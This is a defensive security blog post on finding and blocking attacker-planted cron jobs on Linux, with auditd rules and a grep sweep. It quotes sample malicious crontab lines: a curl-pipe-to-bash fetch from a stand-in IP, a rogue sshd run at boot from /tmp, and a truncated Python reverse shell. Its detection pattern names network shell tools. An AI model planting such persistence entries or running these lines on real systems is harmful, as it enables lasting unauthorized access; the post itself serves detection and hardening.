Cron Job Abuse for Persistence: Detect & Prevent — HackerXone

Cron Job Abuse for Persistence: Detect & Prevent

During the 2023 3CX supply chain compromise, post-exploitation scripts dropped cron jobs to maintain access long after the initial payload was removed. It is one of the oldest tricks in the book — and still works because most teams never audit scheduled tasks. This post shows you exactly what malicious cron entries look like and how to hunt them down before they become your problem.

What Attacker-Planted Cron Jobs Actually Look Like

Cron jobs live in several places on a Linux system: /etc/cron* directories, /var/spool/cron/crontabs/, and individual user crontabs. Attackers favor user-level crontabs because they survive without root and often go unreviewed. They also love /etc/cron.d/ because files dropped there blend in with legitimate package-managed entries.

Here is what a real backdoor entry looks like, found on a compromised web server (prod-web01, 192.0.2.44) during an IR engagement:

# /var/spool/cron/crontabs/www-data

# m h dom mon dow command
*/15 * * * * curl -s http://192.0.2.199/update.sh | bash
@reboot nohup /tmp/.cache/sshd -i -p 8822 & >/dev/null 2>&1

Two things stand out immediately. First, the curl | bash pattern pulls a remote script every 15 minutes — if you null-route the C2 IP, the job keeps trying. Second, the @reboot entry launches a rogue SSH daemon from /tmp/.cache/, a hidden directory designed to look like a legitimate cache folder. The nohup and output redirection keep it alive and silent.

What you do next: null-route 192.0.2.199 at the firewall, kill the rogue sshd process, and wipe /tmp/.cache/. Then check every other crontab on the host — attackers rarely plant just one.

Hunting Malicious Cron Jobs Across Your Fleet

Manual review does not scale. Use auditd (Linux’s kernel-level audit daemon) combined with a targeted grep sweep to surface suspicious entries fast.

Run this one-liner on any host to dump all crontab content and flag common IOCs — remote fetchers, base64 blobs, and execution from world-writable directories:

# Run as root on prod-app02 (192.0.2.71)
for user in $(cut -f1 -d: /etc/passwd); do
  crontab -u "$user" -l 2>/dev/null | grep -v '^#' | grep -v '^$' | \
  grep -E '(curl|wget|base64|/tmp|/dev/shm|python.*-c|nc |bash -i)' | \
  sed "s/^/[$user] /"
done

find /etc/cron* /var/spool/cron/ -type f -exec \
  grep -lE '(curl|wget|base64|/tmp|/dev/shm)' {} \;

Sample output from the same IR engagement:

[www-data] */15 * * * * curl -s http://192.0.2.199/update.sh | bash
[marcus] @reboot python3 -c 'import socket,subprocess,os;...' >/dev/null 2>&1
/etc/cron.d/syslog-rotate

The marcus entry is a Python reverse shell wrapped in a @reboot trigger — classic. The user marcus is a developer account with no business reason to run anything at boot. The /etc/cron.d/syslog-rotate hit is worth inspecting too; it could be a legitimate package file or an attacker mimicking one.

Always verify suspicious /etc/cron.d/ files against your package manager:

dpkg -S /etc/cron.d/syslog-rotate 2>&1
# Expected output for a legit file:
# logrotate: /etc/cron.d/logrotate
# If output is empty or "not found", treat it as malicious.

An orphaned file — not owned by any package — is a strong indicator of attacker placement. Pull it, hash it, and submit to your SIEM before deleting.

Hardening: Lock Down Cron Before the Attack

Detection is reactive. The goal is to make cron abuse harder in the first place. Three controls give you the most leverage:

  • Restrict cron access with /etc/cron.allow. Create this file with only the usernames that legitimately need cron. Any user not listed is denied. One command: echo "deploy" > /etc/cron.allow. Service accounts like www-data should never appear here.
  • Monitor crontab writes with auditd. Add a rule to flag any write to cron directories:
    auditctl -w /var/spool/cron/ -p wa -k cron_modification
    auditctl -w /etc/cron.d/ -p wa -k cron_modification

    Now every crontab change generates an audit log entry. Forward those to your SIEM and alert on anything outside your change window.

  • Block outbound execution from cron. Use an egress firewall rule or an eBPF-based tool like Falco to alert when a process spawned by crond makes a network connection. Legitimate cron jobs almost never need to reach external IPs.

Combining file integrity monitoring on cron directories with auditd coverage closes most of the gap attackers exploit. Neither control is expensive to implement.

What To Do Now

Pick one production Linux host right now and run the sweep command from the second section. Pipe the output to a file, review every non-comment line, and verify any /etc/cron.d/ entries against your package manager. If you find an orphaned file or a curl | bash pattern you cannot explain, treat it as an active incident. Five minutes of review today beats a 3 AM call next month.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *